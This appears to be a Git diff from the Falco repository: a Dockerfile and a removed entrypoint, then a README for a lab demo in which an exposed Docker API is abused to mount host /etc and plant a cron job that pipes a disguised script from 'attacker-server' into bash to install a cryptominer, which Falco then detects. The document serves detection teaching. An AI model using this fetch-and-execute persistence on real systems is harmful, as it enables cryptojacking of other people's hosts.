LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
|
||||
|
||||
|
||||
ENV HOST_ROOT /host
|
||||
ENV HOME /root
|
||||
|
||||
RUN dnf -y update && \
|
||||
dnf -y install \
|
||||
curl \
|
||||
make \
|
||||
cmake \
|
||||
gcc \
|
||||
llvm-toolset \
|
||||
clang \
|
||||
kmod \
|
||||
&& dnf -y clean all ; rm -rf /var/cache/{dnf,yum}
|
||||
|
||||
RUN mkdir /build && cd /build/ && curl --remote-name-all -L https://github.com/dell/dkms/archive/refs/tags/v3.0.3.tar.gz && \
|
||||
tar xvf v3.0.3.tar.gz && cd dkms-3.0.3 && make install-redhat && rm -rf /build
|
||||
|
||||
RUN mkdir /deploy && cd /deploy/ && curl --remote-name-all -L https://download.falco.org/packages/bin/$(uname -m)/falco-${FALCO_VERSION}-$(uname -m).tar.gz && \
|
||||
cd / && tar --strip-components=1 -xvf /deploy/falco-${FALCO_VERSION}-$(uname -m).tar.gz && \
|
||||
rm -rf /deploy
|
||||
|
||||
COPY ./docker-entrypoint.sh /
|
||||
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["/usr/bin/falco"]
|
||||
@@ -1,39 +0,0 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
|
||||
|
||||
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
|
||||
|
||||
# Required by dkms to find the required dependencies on RedHat UBI
|
||||
rm -fr /usr/src/kernels/ && rm -fr /usr/src/debug/
|
||||
rm -fr /lib/modules && ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
rm -fr /boot && ln -s $HOST_ROOT/boot /boot
|
||||
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
for i in "$HOST_ROOT/usr/src"/*
|
||||
do
|
||||
base=$(basename "$i")
|
||||
ln -s "$i" "/usr/src/$base"
|
||||
done
|
||||
|
||||
/usr/bin/falco-driver-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
2
examples/OWNERS
Normal file
2
examples/OWNERS
Normal file
@@ -0,0 +1,2 @@
|
||||
labels:
|
||||
- area/examples
|
||||
117
examples/bad-mount-cryptomining/README.md
Normal file
117
examples/bad-mount-cryptomining/README.md
Normal file
@@ -0,0 +1,117 @@
|
||||
# Demo of Falco Detecting Cryptomining Exploit
|
||||
|
||||
## Introduction
|
||||
|
||||
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Falco.
|
||||
|
||||
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
|
||||
|
||||
## Requirements
|
||||
|
||||
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
|
||||
|
||||
## Example architecture
|
||||
|
||||
The example consists of the following:
|
||||
|
||||
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
|
||||
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
|
||||
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
|
||||
|
||||
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
|
||||
|
||||
A separate container is created to launch the attack:
|
||||
|
||||
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
|
||||
|
||||
## Example Walkthrough
|
||||
|
||||
### Start everything using docker-compose
|
||||
|
||||
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
|
||||
|
||||
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
|
||||
|
||||
You will see fairly verbose output from dockerd:
|
||||
|
||||
```
|
||||
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
|
||||
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
|
||||
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
|
||||
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
|
||||
```
|
||||
|
||||
When you see log output like the following, you know that falco is started and ready:
|
||||
|
||||
```
|
||||
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
|
||||
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
|
||||
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
|
||||
```
|
||||
|
||||
### Launch malicious container
|
||||
|
||||
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
|
||||
|
||||
The script `launch_malicious_container.sh` performs the necessary POSTs:
|
||||
|
||||
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
|
||||
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
|
||||
* `http://localhost:2375/containers/docker123321-mysql/start`
|
||||
|
||||
Run the script via `bash launch_malicious_container.sh`.
|
||||
|
||||
### Examine cron output as malicious software is installed & run
|
||||
|
||||
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
|
||||
|
||||
```
|
||||
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
|
||||
```
|
||||
|
||||
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
|
||||
|
||||
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
|
||||
|
||||
```
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
|
||||
```
|
||||
|
||||
Once the cron job runs, you will see output like the following:
|
||||
|
||||
```
|
||||
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
|
||||
host-machine_1 | ***Checking for existing Miner program
|
||||
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
|
||||
host-machine_1 | ***Killing competing Miner programs
|
||||
host-machine_1 | ***Reinstalling cron job to run Miner program
|
||||
host-machine_1 | ***Configuring Miner program
|
||||
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
|
||||
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
|
||||
host-machine_1 | ***Configuring system for Miner program
|
||||
host-machine_1 | vm.nr_hugepages = 9
|
||||
host-machine_1 | ***Running Miner program
|
||||
host-machine_1 | ***Ensuring Miner program is alive
|
||||
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
|
||||
host-machine_1 | /var/tmp
|
||||
host-machine_1 | runing.....
|
||||
host-machine_1 | ***Ensuring Miner program is alive
|
||||
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
|
||||
host-machine_1 | /var/tmp
|
||||
host-machine_1 | runing.....
|
||||
```
|
||||
|
||||
### Observe Falco detecting malicious activity
|
||||
|
||||
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
|
||||
|
||||
```
|
||||
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
|
||||
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
|
||||
```
|
||||
|
||||
### Cleanup
|
||||
|
||||
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
|
||||
|
||||
14
examples/bad-mount-cryptomining/attacker-nginx.conf
Normal file
14
examples/bad-mount-cryptomining/attacker-nginx.conf
Normal file
@@ -0,0 +1,14 @@
|
||||
server {
|
||||
listen 8220;
|
||||
server_name localhost;
|
||||
|
||||
location / {
|
||||
root /usr/share/nginx/html;
|
||||
index index.html index.htm;
|
||||
}
|
||||
|
||||
error_page 500 502 503 504 /50x.html;
|
||||
location = /50x.html {
|
||||
root /usr/share/nginx/html;
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user